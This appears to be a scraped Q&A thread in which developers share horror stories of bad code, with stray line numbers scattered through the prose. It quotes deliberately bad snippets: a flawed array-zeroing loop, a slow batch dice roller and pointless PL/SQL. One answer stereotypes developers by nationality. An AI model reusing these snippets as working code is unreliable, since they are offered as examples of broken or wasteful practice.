someVariable.Split('/*unprintable character*/');

Furthermore, in this library (and 22 all the related programs), not a single 21 variable was local (I checked!). Functions 20 were designed to either recuperate the same 19 variables once it was deemed safe to waste 18 them, or to create new ones which would 17 live on for all the duration of the process. I 16 printed out several pages and colour coded 15 them. Yellow meant "global, never changed 14 by another function", Red meant "global, changed 13 by several". Green would have been "local", but 12 there was none.

Oh, did I mention control 11 version? Because of course there was none.

ADD 10 ON: I just remembered a function I discovered, not 9 long ago.

Its purpose was to go through an 8 array of arrays of intergers, and set each 7 first and last item to 0. It went like this 6 (not actual code, from memory, and more 5 C#-esque):

FixAllArrays()
{
    for (int idx = 0; idx < arrays.count- 1; idx++)
    {
        currArray = arrays[idx];
        nextArray = arrays[idx+1];
        SetFirstToZero(currArray);
        SetLastToZero(nextArray);

        //This is where the fun starts
        if (idx == 0)
        {
            SetLastToZero(currArray);
        }

        if (idx == arrays.count- 1)
        {
            SetFirstToZero(nextArray);
        }
    }
}

Of course, the point was that 4 every sub-array had to get this done, both 3 operations, on all items. I'm just not sure 2 how a programmer can decide on something 1 like this.

Score: 2

Once after our client teams reported some 8 weird problems, we noticed that two different 7 versions of the application was pointing 6 to the same database. (while deploying the 5 new system to them, their database was upgraded, but 4 everyone forgot to bring down their old 3 system)

This was a miracle escape..

And since 2 then, we have an automated build and deploy 1 process, thankfully :-)

Score: 2

Similar to what someone else mentioned above:

I 11 worked in a place that had a pseudo-scripting 10 language in the application. It fed into 9 a massive method that had some 30 parameters 8 and a giant Select Case statement.

It was time to add 7 more parameters, but the guy on the team 6 who had to do it realized that there were 5 too many already.

His solution?

He added a 4 single object parameter on the end, so he could 3 pass in anything he wanted and then cast 2 it.

I couldn't get out of that place fast 1 enough.

Score: 2

I think that it was a program which loaded 6 a loop into the general purpose registers 5 of a pdp-10 and then executed the code in 4 those registers.

You could do that on a pdp-10. That 3 doesn't mean that you should.

EDIT: at least 2 this is to the best of my (sometimes quite 1 shabby) recollection.

Score: 2

I had the deep misfortune of being involved 20 in finding a rather insane behavior in a 19 semi-custom database high-availability solution.

The 18 core bits were unremarkable. Red Hat Enterprise 17 Linux, MySQL, DRBD, and the Linux-HA stuff. The 16 configuration, however, was maintained by 15 a completely custom puppet-like system (unsurprisingly, there 14 are many other examples of insanity resulting 13 from this system).

It turns out that the 12 system was checking the install.log file that Kickstart 11 leaves in the root directory for part of 10 the information it needed to create the 9 DRBD configuration. This in itself is evil, of 8 course. You don't pull configuration from 7 a log file whose format is not actually 6 defined. It gets worse, though.

It didn't 5 store this data anywhere else, and every 4 time it ran, which was every 60 seconds, it 3 consulted install.log.

I'll just let you guess what 2 happened the first time somebody decided 1 to delete this otherwise useless log file.

Score: 2

Among other things I found in a project 1 I joined, I found this piece of diamond:

newwin=parent.parent.window.opener.parent.parent.parent.frames['clear'].window.open('empty.htm');
Score: 1

Some guy wrote a batch program to generate 3 random numbers based on die sides on my 2 computer, thought i'd share it.

@echo off

set SIDES=6 

:start
set BUF=%random%
if %BUF% GTR %SIDES% (
goto start
)

echo %BUF%
pause

goto start

Does the 1 job but guess how slow it is...

Score: 0

I've worked with similar things written 11 by Indian devs. Giant main form, global 10 vars etc. Luckily, my boss after a lot of 9 hard work was able to decrease this mess 8 greatly. But still, I hated work with this 7 app. Unfortunately, it was math app and 6 some of these indian guys was good at maths, so 5 we had to fix app, not rewrite it.

For me, worst 4 part was unbelievable slowness of Visual 3 Studio + ReSharper on form with 20000 lines. If 2 you turn ReSharper off, it is manageable, but 1 you can't refactor this shit so fast then.

Score: 0

From an Oracle package in our companies 3 commission calc app (before I rebuilt it 2 from scratch)

CREATE OR REPLACE PACKAGE BODY Const AS
    FUNCTION Basisprov_offen
        RETURN INT
    IS
        BEGIN
            RETURN 4;
        END;

    FUNCTION Basisprov_offen_s
        RETURN VARCHAR
    IS
        BEGIN
            RETURN Const.Basisprov_offen || '';
        END;


/* ... a lot more creepy stuff ... */

END Const;

And in a different package 1 for the same app

...
INSERT INTO Texpkorr
    SELECT
        Stammnummer,
        Nummer,
        Artikelnummer,
        GREATEST ( 0, Texp.Kommanditbetrag - NVL ( 0, 0 )) Kommanditbetrag,
        GREATEST ( 0, Texp.Bareinlagebetrag - NVL ( 0, 0 )) Bareinlagebetrag,
        GREATEST ( 0, Texp.Provisionohneagio - NVL ( 0, 0)) Provisionohneagio,
        GREATEST ( 0, Texp.Provisionmitagio - NVL ( 0, 0 )) Provisionmitagio,
        GREATEST ( 0, Texp.Agionachlass - NVL ( 0, 0 )) Agionachlass,
        Exportart
   FROM Provaltbv, Texp
...
Score: 0

A guy I used to work with wrote an MS Access 12 app that linked into about 10 other access 11 databases that handled payroll for a Fortune 10 500 company. At last check, there where 9 about 70,000 employees there and it was 8 still in use...

Very little error checking 7 in the code, nasty to look at, worse to 6 troubleshoot. We kept on maxing out the 5 access databases so we had to clean them 4 out every couple of months.

Yes, I know it's 3 not a code segment. Just the 3 facts of 2 MS Access, payroll and Fortune 500 constitutes 1 it as evil. Very evil. I wish I was kidding.

Score: 0

Years ago I had joined a multi-company loyalty 8 rewards company where these reached production. What 7 should have been a quick assessment & getting 6 to know the biz, turned out on revealing 5 & leading critical fixes to some of 4 the mess:

  • 2 on a third party built application in kiosks around the country (it operated on both smart cards & online balance):
    • could lose balance on not hard to get conditions
    • could be exploited to get any amount of free balance
  • a points x year expiration yearly process that I don't even know who developed:
    • on Several conditions it would have incorrectly lost a huge chunk of balance to at least 30% of the users ... worst, the backup procedures & any other transaction based recovery traces were lame before I found about that

Remember, even if these are rewards 3 points, it is money you could spent on pretty much 2 anything: food, movie theaters, flights, drugstore, to 1 name a few.

More Related questions